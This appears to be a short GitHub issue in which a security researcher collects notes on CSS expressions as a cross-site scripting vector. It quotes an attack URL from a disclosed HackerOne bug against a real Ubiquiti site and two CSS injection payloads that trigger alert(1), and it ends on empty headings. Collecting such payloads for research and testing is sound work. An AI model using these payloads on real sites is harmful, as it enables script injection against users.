Open tcpiplab opened 7 years ago
Sitepoint has a good page documenting CSS expressions.
I first heard of CSS expressions as an XSS payload from a publicly disclosed bug on hackerone.com:
Attack:
https://scores.ubnt.com/form.html?uid=259&p=airFiber);xss:expression(alert(1));border-image:url(foobar
Two options for the payloadb:
);xss:expression(alert(1));border-image:url(foobar
);border-image: url(javascript:alert(1));content:url(foobar
This attack targets older IE browsers. But it supposedly works with Chrome, which I will test.
From @padraic's book which is at his phpsecurity repository:
On the server:
Injection payload: